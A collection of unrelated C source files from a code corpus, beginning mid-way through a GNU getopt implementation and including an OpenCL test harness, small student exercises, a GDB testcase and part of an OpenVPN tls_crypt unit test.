!= last_nonopt) optind = first_nonopt; return -1; } /* If we have come to a non-option and did not permute it, either stop the scan or describe it to the caller and pass it by. */ if (NONOPTION_P) { if (ordering == REQUIRE_ORDER) return -1; optarg = argv[optind++]; return 1; } /* We have found another option-ARGV-element. Skip the initial punctuation. */ nextchar = (argv[optind] + 1 + (longopts != NULL && argv[optind][1] == '-')); } /* Decode the current option-ARGV-element. */ /* Check whether the ARGV-element is a long option. If long_only and the ARGV-element has the form "-f", where f is a valid short option, don't consider it an abbreviated form of a long option that starts with f. Otherwise there would be no way to give the -f short option. On the other hand, if there's a long option "fubar" and the ARGV-element is "-fu", do consider that an abbreviation of the long option, just like "--fu", and not "-f" with arg "u". This distinction seems to be the most useful approach. */ if (longopts != NULL && (argv[optind][1] == '-' || (long_only && (argv[optind][2] || !my_index(optstring, argv[optind][1]))))) { char *nameend; const struct option *p; const struct option *pfound = NULL; int exact = 0; int ambig = 0; int indfound = -1; int option_index; for (nameend = nextchar; *nameend && *nameend != '='; nameend++) /* Do nothing. */; /* Test all long options for either exact match or abbreviated matches. */ for (p = longopts, option_index = 0; p->name; p++, option_index++) if (!strncmp(p->name, nextchar, nameend - nextchar)) { if ((unsigned int)(nameend - nextchar) == (unsigned int)strlen(p->name)) { /* Exact match found. */ pfound = p; indfound = option_index; exact = 1; break; } else if (pfound == NULL) { /* First nonexact match found. */ pfound = p; indfound = option_index; } else if (long_only || pfound->has_arg != p->has_arg || pfound->flag != p->flag || pfound->val != p->val) /* Second or later nonexact match found. */ ambig = 1; } if (ambig && !exact) { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf(&buf, _("%s: option `%s' is ambiguous\n"), argv[0], argv[optind]); if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #else fprintf(stderr, _("%s: option `%s' is ambiguous\n"), argv[0], argv[optind]); #endif } nextchar += strlen(nextchar); optind++; optopt = 0; return '?'; } if (pfound != NULL) { option_index = indfound; optind++; if (*nameend) { /* Don't test has_arg with >, because some C compilers don't allow it to be used on enums. */ if (pfound->has_arg) optarg = nameend + 1; else { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; #endif if (argv[optind - 1][1] == '-') { /* --option */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf(&buf, _("\ %s: option `--%s' doesn't allow an argument\n"), argv[0], pfound->name); #else fprintf(stderr, _("\ %s: option `--%s' doesn't allow an argument\n"), argv[0], pfound->name); #endif } else { /* +option or -option */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf(&buf, _("\ %s: option `%c%s' doesn't allow an argument\n"), argv[0], argv[optind - 1][0], pfound->name); #else fprintf(stderr, _("\ %s: option `%c%s' doesn't allow an argument\n"), argv[0], argv[optind - 1][0], pfound->name); #endif } #if defined _LIBC && defined USE_IN_LIBIO if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #endif } nextchar += strlen(nextchar); optopt = pfound->val; return '?'; } } else if (pfound->has_arg == 1) { if (optind < argc) optarg = argv[optind++]; else { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf(&buf, _("%s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #else fprintf(stderr, _("%s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); #endif } nextchar += strlen(nextchar); optopt = pfound->val; return optstring[0] == ':' ? ':' : '?'; } } nextchar += strlen(nextchar); if (longind != NULL) *longind = option_index; if (pfound->flag) { *(pfound->flag) = pfound->val; return 0; } return pfound->val; } /* Can't find it as a long option. If this is not getopt_long_only, or the option starts with '--' or is not a valid short option, then it's an error. Otherwise interpret it as a short option. */ if (!long_only || argv[optind][1] == '-' || my_index(optstring, *nextchar) == NULL) { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; #endif if (argv[optind][1] == '-') { /* --option */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf(&buf, _("%s: unrecognized option `--%s'\n"), argv[0], nextchar); #else fprintf(stderr, _("%s: unrecognized option `--%s'\n"), argv[0], nextchar); #endif } else { /* +option or -option */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf(&buf, _("%s: unrecognized option `%c%s'\n"), argv[0], argv[optind][0], nextchar); #else fprintf(stderr, _("%s: unrecognized option `%c%s'\n"), argv[0], argv[optind][0], nextchar); #endif } #if defined _LIBC && defined USE_IN_LIBIO if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #endif } nextchar = (char *)""; optind++; optopt = 0; return '?'; } } /* Look at and handle the next short option-character. */ { char c = *nextchar++; char *temp = my_index(optstring, c); /* Increment `optind' when we start to process its last character. */ if (*nextchar == '\0') ++optind; if (temp == NULL || c == ':') { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; #endif if (posixly_correct) { /* 1003.2 specifies the format of this message. */ #if defined _LIBC && defined USE_IN_LIBIO __asprintf(&buf, _("%s: illegal option -- %c\n"), argv[0], c); #else fprintf(stderr, _("%s: illegal option -- %c\n"), argv[0], c); #endif } else { #if defined _LIBC && defined USE_IN_LIBIO __asprintf(&buf, _("%s: invalid option -- %c\n"), argv[0], c); #else fprintf(stderr, _("%s: invalid option -- %c\n"), argv[0], c); #endif } #if defined _LIBC && defined USE_IN_LIBIO if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #endif } optopt = c; return '?'; } /* Convenience. Treat POSIX -W foo same as long option --foo */ if (temp[0] == 'W' && temp[1] == ';') { char *nameend; const struct option *p; const struct option *pfound = NULL; int exact = 0; int ambig = 0; int indfound = 0; int option_index; /* This is an option that requires an argument. */ if (*nextchar != '\0') { optarg = nextchar; /* If we end this ARGV-element by taking the rest as an arg, we must advance to the next element now. */ optind++; } else if (optind == argc) { if (print_errors) { /* 1003.2 specifies the format of this message. */ #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf(&buf, _("%s: option requires an argument -- %c\n"), argv[0], c); if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #else fprintf(stderr, _("%s: option requires an argument -- %c\n"), argv[0], c); #endif } optopt = c; if (optstring[0] == ':') c = ':'; else c = '?'; return c; } else /* We already incremented `optind' once; increment it again when taking next ARGV-elt as argument. */ optarg = argv[optind++]; /* optarg is now the argument, see if it's in the table of longopts. */ for (nextchar = nameend = optarg; *nameend && *nameend != '='; nameend++) /* Do nothing. */; /* Test all long options for either exact match or abbreviated matches. */ for (p = longopts, option_index = 0; p->name; p++, option_index++) if (!strncmp(p->name, nextchar, nameend - nextchar)) { if ((unsigned int)(nameend - nextchar) == strlen(p->name)) { /* Exact match found. */ pfound = p; indfound = option_index; exact = 1; break; } else if (pfound == NULL) { /* First nonexact match found. */ pfound = p; indfound = option_index; } else /* Second or later nonexact match found. */ ambig = 1; } if (ambig && !exact) { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf(&buf, _("%s: option `-W %s' is ambiguous\n"), argv[0], argv[optind]); if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #else fprintf(stderr, _("%s: option `-W %s' is ambiguous\n"), argv[0], argv[optind]); #endif } nextchar += strlen(nextchar); optind++; return '?'; } if (pfound != NULL) { option_index = indfound; if (*nameend) { /* Don't test has_arg with >, because some C compilers don't allow it to be used on enums. */ if (pfound->has_arg) optarg = nameend + 1; else { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf(&buf, _("\ %s: option `-W %s' doesn't allow an argument\n"), argv[0], pfound->name); if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #else fprintf(stderr, _("\ %s: option `-W %s' doesn't allow an argument\n"), argv[0], pfound->name); #endif } nextchar += strlen(nextchar); return '?'; } } else if (pfound->has_arg == 1) { if (optind < argc) optarg = argv[optind++]; else { if (print_errors) { #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf(&buf, _("\ %s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #else fprintf(stderr, _("%s: option `%s' requires an argument\n"), argv[0], argv[optind - 1]); #endif } nextchar += strlen(nextchar); return optstring[0] == ':' ? ':' : '?'; } } nextchar += strlen(nextchar); if (longind != NULL) *longind = option_index; if (pfound->flag) { *(pfound->flag) = pfound->val; return 0; } return pfound->val; } nextchar = NULL; return 'W'; /* Let the application handle it. */ } if (temp[1] == ':') { if (temp[2] == ':') { /* This is an option that accepts an argument optionally. */ if (*nextchar != '\0') { optarg = nextchar; optind++; } else optarg = NULL; nextchar = NULL; } else { /* This is an option that requires an argument. */ if (*nextchar != '\0') { optarg = nextchar; /* If we end this ARGV-element by taking the rest as an arg, we must advance to the next element now. */ optind++; } else if (optind == argc) { if (print_errors) { /* 1003.2 specifies the format of this message. */ #if defined _LIBC && defined USE_IN_LIBIO char *buf; __asprintf(&buf, _("%s: option requires an argument -- %c\n"), argv[0], c); if (_IO_fwide(stderr, 0) > 0) __fwprintf(stderr, L"%s", buf); else fputs(buf, stderr); free(buf); #else fprintf(stderr, _("%s: option requires an argument -- %c\n"), argv[0], c); #endif } optopt = c; if (optstring[0] == ':') c = ':'; else c = '?'; } else /* We already incremented `optind' once; increment it again when taking next ARGV-elt as argument. */ optarg = argv[optind++]; nextchar = NULL; } } return c; } } int getopt(argc, argv, optstring) int argc; char *const *argv; const char *optstring; { return _getopt_internal(argc, argv, optstring, (const struct option *)0, (int *)0, 0); } #endif /* Not ELIDE_CODE. */ /* Compile with -DTEST to make an executable for use in testing the above definition of `getopt'. */
the_stack_data/41331.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program source */ unsigned char *source_code; size_t source_length; /* Read program from 'native_log2_float16.cl' */ source_code = read_buffer("native_log2_float16.cl", &source_length); /* Create a program */ cl_program program; program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); /* Build program */ ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object */ cl_kernel kernel; kernel = clCreateKernel(program, "native_log2_float16", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_float16 *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_float16)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_float16){{2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0, 2.0}}; /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_float16), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_float16), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_float16 *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_float16)); memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_float16)); /* Create device dst buffer */ cl_mem dst_device_buffer; dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_float16), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create dst buffer\n"); exit(1); } /* Set kernel arguments */ ret = CL_SUCCESS; ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer); ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clSetKernelArg' failed\n"); exit(1); } /* Launch the kernel */ size_t global_work_size = num_elem; size_t local_work_size = num_elem; ret = clEnqueueNDRangeKernel(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueNDRangeKernel' failed\n"); exit(1); } /* Wait for it to finish */ clFinish(command_queue); /* Read results from GPU */ ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_float16), dst_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueReadBuffer' failed\n"); exit(1); } /* Dump dst buffer to file */ char dump_file[100]; sprintf((char *)&dump_file, "%s.result", argv[0]); write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_float16)); printf("Result dumped to %s\n", dump_file); /* Free host dst buffer */ free(dst_host_buffer); /* Free device dst buffer */ ret = clReleaseMemObject(dst_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Free host side src buffer 0 */ free(src_0_host_buffer); /* Free device side src buffer 0 */ ret = clReleaseMemObject(src_0_device_buffer); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseMemObject' failed\n"); exit(1); } /* Release kernel */ ret = clReleaseKernel(kernel); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseKernel' failed\n"); exit(1); } /* Release program */ ret = clReleaseProgram(program); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseProgram' failed\n"); exit(1); } /* Release command queue */ ret = clReleaseCommandQueue(command_queue); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseCommandQueue' failed\n"); exit(1); } /* Release context */ ret = clReleaseContext(context); if (ret != CL_SUCCESS) { printf("error: call to 'clReleaseContext' failed\n"); exit(1); } return 0; }
the_stack_data/149680.c
#include <stdlib.h> #include <string.h> #include <stdio.h> int match(char *b, char *a) { int la = strlen(a), lb = strlen(b); int *pi, i, t; pi = (int*)malloc(la * sizeof(int)); for (pi[0] = t = 0, i = 1; i < la; i++) { while (t > 0 && a[t] != a[i]) t = pi[t-1]; if (a[t] == a[i]) t++; pi[i] = t; } for (t = 0, i = 0; i < lb; i++) { while (t > 0 && a[t] != b[i]) t = pi[t-1]; if (a[t] == b[i]) t++; if (t == la) { t = la == lb ? -1 : -2; break; } } free(pi); return t; } int solve(int m, char **strings) { int **matrix, i, j, len; matrix = (int**)malloc(m * sizeof(int*)); for (i = len = 0; i < m; i++) len += strlen(strings[i]); for (i = 0; i < m; i++) { matrix[i] = (int*)malloc(m * sizeof(int)); for (j = 0; j < m; j++) { matrix[i][j] = i == j ? 0 : match(strings[i], strings[j]); } } /*for (i = 0; i < m; i++) { printf("%10s", strings[i]); for (j = 0; j < m; j++) { printf("%2d ", matrix[i][j]); } printf("\n"); }*/ for (i = 0; i < m; i++) { for (j = 0; j < m; j++) { if (matrix[i][j] < 0) { len = -1; goto END; } } } int permutation() { int max_sum = 0, level = 0; void visit(int mark, int k, int sum) { level++; mark |= 1 << k; if (level == m) { if (max_sum < sum) max_sum = sum; } else { int i; for (i = 0; i < m; i++) { if ((mark & (1 << i)) == 0) { visit(mark, i, sum+matrix[k][i]); } } } level--; } for (i = 0; i < m; i++) visit(0, i, 0); return max_sum; } len -= permutation(); END: for (i = 0; i < m; i++) free(matrix[i]); free(matrix); return len; } int main(int argc, char *argv[]) { int string_num, i; char **ss; scanf("%d\n", &string_num); ss = (char**)malloc(string_num * sizeof(char*)); for (i = 0; i < string_num; i++) { ss[i] = (char*)malloc(100); gets(ss[i]); } printf("%d\n", solve(string_num, ss)); for (i = 0; i < string_num; i++) free(ss[i]); free(ss); return 0; }
the_stack_data/66477.c
#include <stdio.h> int countSize(char* string, int number); int main(void) { char string[] = "Helloqwqw worldsss w qwe ww e"; int number; printf("Start string:\t"); for(int i = 0; string[i] != '\0'; i++) { printf("%c", string[i]); } printf("\nInput number of word:\t"); scanf("%d", &number); int SIZE = countSize(string, number); if (SIZE > 0) { printf("\nSize of %dnd word = %d symbols", number, SIZE); } else { printf("\nLetter doesn't have %d words", number); } return 0; } int countSize(char* string, int number) { int count = 1; int SIZE = 0; for (int i = 1; string[i] != '\0'; i++) { if(string[i - 1] == ' ' && string[i] != ' ') { count++; } if (count == number && string[i] != ' ') { SIZE++; } if (number == 1 && i - 1 == 0 && string[i] != ' ' ) { SIZE++; } } return SIZE; }
the_stack_data/168893577.c
/* STORAGE CLASSES */ extern int a; /* global, usually defined in .h files, initialized to 0 * a variable with program-wide scope no matter where it was * declared, functions with external linkage etc.. */ static int b; /* local, persistent between function calls, initialized to 0 */ void local_scope() { auto int c; /* all local variables are auto, initialized to garbage, it is * redundant */ register int d; /* limited number of small often-used variables can be * stored in CPU registers for performance, initialized to * garbage */ } /* TYPE QUALIFIERS */ int const e; /* immutable (can still be mutated with pointers, * but not assignment */ int volatile f; /* changing without explicit assignment, like current time etc */ /* const and volatile ARE compatible, a const volatile int can be changed by the * hardware but not the program. */
the_stack_data/317616.c
#include<stdio.h> #include<stdlib.h> int char_to_int(int c){ c = c-48; return c; } int add_to_pointer(int* p,int index,int i){ p[index] = i; } int main(void){ int n,k,c,i,convert,index; int *p; scanf("%d %d",&n,&k); p = (int*)malloc(sizeof(int)*n); getchar(); i=0; index=0; while((c=getchar())!='\n') { convert = char_to_int(c); if(c==32){ add_to_pointer(p,index,i); index++; i=0; }else{ i=i*10+convert;} } add_to_pointer(p,index,i); index=0; for(i=0;i<n;i++){ if((p[k-1]<=p[i])&&(p[i]>0)){ index++; } } printf("%d",index); return 0; }
the_stack_data/1021468.c
#include <stdio.h> #include <stdlib.h> int main() { int N, repetidos = 0; printf ("Entre com N: "); scanf ("%d", &N); int *v1 = malloc(N * sizeof (int)); int *aux = malloc(N * sizeof (int)); int *flag = malloc(N * sizeof (int)); int cont = 0; for (int i = 0; i < N; i++) { scanf ("%d", &v1[i]); int achou = 0; for (int j = 0; j < cont; j++) { if (v1[i] == aux[j]) { flag[j] = 1; achou = 1; break; } } if (!achou) { aux[cont] = v1[i]; flag[cont++] = 0; } } for (int i = 0; i < cont; i++) repetidos += flag[i]; if (repetidos > 0) printf ("\n%d repetidos", repetidos); } //https://pt.stackoverflow.com/q/164021/101
the_stack_data/118940.c
//lecture notes on NOvember 12 2014. Topic is recursion. #include<stdio.h> int main(void) { unsigned int num1 = 5, num2 = 6, add = 0; int ii = 0 ; for(ii = 0 ; ii< num2; ii++){ add += num1; } printf("This is the sum %d \n", add); //multiply recursive function. /* unisgned int multiply_rec(unsigned int num2, unisigned int num2) { int sum = 0 ; //bases case(s) if(num2 == 0) { sum = 0; } else if(num2 == 1) { sum = num1; } else{ sum = num1 + multiply_rec(num1, num2-1) ; } return sum ; } */ return 0 ; }
the_stack_data/243892749.c
int main(void) { int a = 5; *(&a + 1); return 0; }
the_stack_data/154829667.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <ctype.h> int main(int argc, char* argv[]) { char buf[65536]; FILE* in; FILE* out; size_t size = 0; if (argc < 3) { puts("usage: csv2bin input.csv output.bin"); return 1; } if (NULL == (in = fopen(argv[1], "rt"))) { puts("cannot open csv file"); return 1; } if (NULL == (out = fopen(argv[2], "wb"))) { puts("cannot open output binary file"); fclose(in); return 1; } while (fgets(buf, sizeof(buf), in)) { char* cp = buf; unsigned char bin[1]; while (*cp) { while (*cp && !isdigit(*cp)) cp++; if (!*cp) break; bin[0] = (unsigned char)atoi(cp); fwrite(bin, 1, 1, out); size++; while (isdigit(*cp)) cp++; } } printf("wrote %ld byte(s)\n", size); fclose(out); fclose(in); return 0; }
the_stack_data/1148866.c
// // main.c // simplest_yuv420_gray // // Created by angle on 21/03/2018. // Copyright © 2018 angle. All rights reserved. // #include <stdio.h> /** * Convert YUV420P file to gray picture * @param url Location of Input YUV file. * @param w Width of Input YUV file. * @param h Height of Input YUV file. * @param outUrl Location of outPut YUV file. * @param num Number of frames to process. * @return 1-successed, 0-failed */ int simplest_yuv420_gray(char *url, int w, int h,int num, char *outUrl); int main(int argc, const char * argv[]) { // insert code here... printf("Hello, World!\n"); //资源文件路径,此地址要更换为自己的电脑路径 char *inUrl = "/Users/angle/Desktop/FFmpeg/FFmpeg_Leixiaohua/视音频数据处理入门:RGB、YUV像素数据处理/resources/lena_256x256_yuv420p.yuv"; //输出资源路径,此地址要更换为自己的电脑路径 char *outUrl = "/Users/angle/Desktop/FFmpeg/FFmpeg_Leixiaohua/视音频数据处理入门:RGB、YUV像素数据处理/3.将YUV420P像素数据去掉颜色(变成灰度图)/results/"; //Test int result = simplest_yuv420_gray(inUrl,256,256,1,outUrl); if (result == 1) { printf("Write file successed.\n"); }else { printf("Write file failed.\n"); } return 0; }
the_stack_data/71302.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2009-2015 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ extern void func_nofb (void); extern void func_loopfb (void); void func_nofb_marker (void) { } void func_loopfb_marker (void) { } int main (void) { int main_var = 1; func_nofb (); func_loopfb (); return 0; }
the_stack_data/56444.c
/* ** EPITECH PROJECT, 2017 ** alphanum ** File description: ** alphanum */ int my_is_alphanum(char c) { if ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z')\ || (c >= '0' && c <= '9') || c == '#' || c == ' '\ || c == '.' || c == '-' || c == '/') return (0); else return (1); return (0); }
the_stack_data/230494.c
/* * OpenVPN -- An application to securely tunnel IP networks * over a single UDP port, with support for SSL/TLS-based * session authentication and key exchange, * packet encryption, packet authentication, and * packet compression. * * Copyright (C) 2016-2017 Fox Crypto B.V. <[email protected]> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #ifdef HAVE_CONFIG_H #include "config.h" #elif defined(_MSC_VER) #include "config-msvc.h" #endif #ifdef ENABLE_CRYPTO #include "syshead.h" #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <setjmp.h> #include <cmocka.h> #include "tls_crypt.h" #include "mock_msg.h" #define TESTBUF_SIZE 128 const char plaintext_short[1]; struct test_context { struct crypto_options co; struct key_type kt; struct buffer source; struct buffer ciphertext; struct buffer unwrapped; }; static int setup(void **state) { struct test_context *ctx = calloc(1, sizeof(*ctx)); *state = ctx; ctx->kt.cipher = cipher_kt_get("AES-256-CTR"); ctx->kt.digest = md_kt_get("SHA256"); if (!ctx->kt.cipher) { printf("No AES-256-CTR support, skipping test.\n"); return 0; } if (!ctx->kt.digest) { printf("No HMAC-SHA256 support, skipping test.\n"); return 0; } ctx->kt.cipher_length = cipher_kt_key_size(ctx->kt.cipher); ctx->kt.hmac_length = md_kt_size(ctx->kt.digest); struct key key = { 0 }; init_key_ctx(&ctx->co.key_ctx_bi.encrypt, &key, &ctx->kt, true, "TEST"); init_key_ctx(&ctx->co.key_ctx_bi.decrypt, &key, &ctx->kt, false, "TEST"); packet_id_init(&ctx->co.packet_id, 0, 0, "test", 0); ctx->source = alloc_buf(TESTBUF_SIZE); ctx->ciphertext = alloc_buf(TESTBUF_SIZE); ctx->unwrapped = alloc_buf(TESTBUF_SIZE); /* Write test plaintext */ buf_write(&ctx->source, plaintext_short, sizeof(plaintext_short)); /* Write dummy opcode and session id */ buf_write(&ctx->ciphertext, "012345678", 1 + 8); return 0; } static int teardown(void **state) { struct test_context *ctx = (struct test_context *) *state; free_buf(&ctx->source); free_buf(&ctx->ciphertext); free_buf(&ctx->unwrapped); free_key_ctx_bi(&ctx->co.key_ctx_bi); free(ctx); return 0; } static void skip_if_tls_crypt_not_supported(struct test_context *ctx) { if (!ctx->kt.cipher || !ctx->kt.digest) { skip(); } } /** * Check that short messages are successfully wrapped-and-unwrapped. */ static void tls_crypt_loopback(void **state) { struct test_context *ctx = (struct test_context *) *state; skip_if_tls_crypt_not_supported(ctx); assert_true(tls_crypt_wrap(&ctx->source, &ctx->ciphertext, &ctx->co)); assert_true(BLEN(&ctx->source) < BLEN(&ctx->ciphertext)); assert_true(tls_crypt_unwrap(&ctx->ciphertext, &ctx->unwrapped, &ctx->co)); assert_int_equal(BLEN(&ctx->source), BLEN(&ctx->unwrapped)); assert_memory_equal(BPTR(&ctx->source), BPTR(&ctx->unwrapped), BLEN(&ctx->source)); } /** * Check that zero-byte messages are successfully wrapped-and-unwrapped. */ static void tls_crypt_loopback_zero_len(void **state) { struct test_context *ctx = (struct test_context *) *state; skip_if_tls_crypt_not_supported(ctx); buf_clear(&ctx->source); assert_true(tls_crypt_wrap(&ctx->source, &ctx->ciphertext, &ctx->co)); assert_true(BLEN(&ctx->source) < BLEN(&ctx->ciphertext)); assert_true(tls_crypt_unwrap(&ctx->ciphertext, &ctx->unwrapped, &ctx->co)); assert_int_equal(BLEN(&ctx->source), BLEN(&ctx->unwrapped)); assert_memory_equal(BPTR(&ctx->source), BPTR(&ctx->unwrapped), BLEN(&ctx->source)); } /** * Check that max-length messages are successfully wrapped-and-unwrapped. */ static void tls_crypt_loopback_max_len(void **state) { struct test_context *ctx = (struct test_context *) *state; skip_if_tls_crypt_not_supported(ctx); buf_clear(&ctx->source); assert_non_null(buf_write_alloc(&ctx->source, TESTBUF_SIZE - BLEN(&ctx->ciphertext) - tls_crypt_buf_overhead())); assert_true(tls_crypt_wrap(&ctx->source, &ctx->ciphertext, &ctx->co)); assert_true(BLEN(&ctx->source) < BLEN(&ctx->ciphertext)); assert_true(tls_crypt_unwrap(&ctx->ciphertext, &ctx->unwrapped, &ctx->co)); assert_int_equal(BLEN(&ctx->source), BLEN(&ctx->unwrapped)); assert_memory_equal(BPTR(&ctx->source), BPTR(&ctx->unwrapped), BLEN(&ctx->source)); } /** * Check that too-long messages are gracefully rejected. */ static void tls_crypt_fail_msg_too_long(void **state) { struct test_context *ctx = (struct test_context *) *state; skip_if_tls_crypt_not_supported(ctx); buf_clear(&ctx->source); 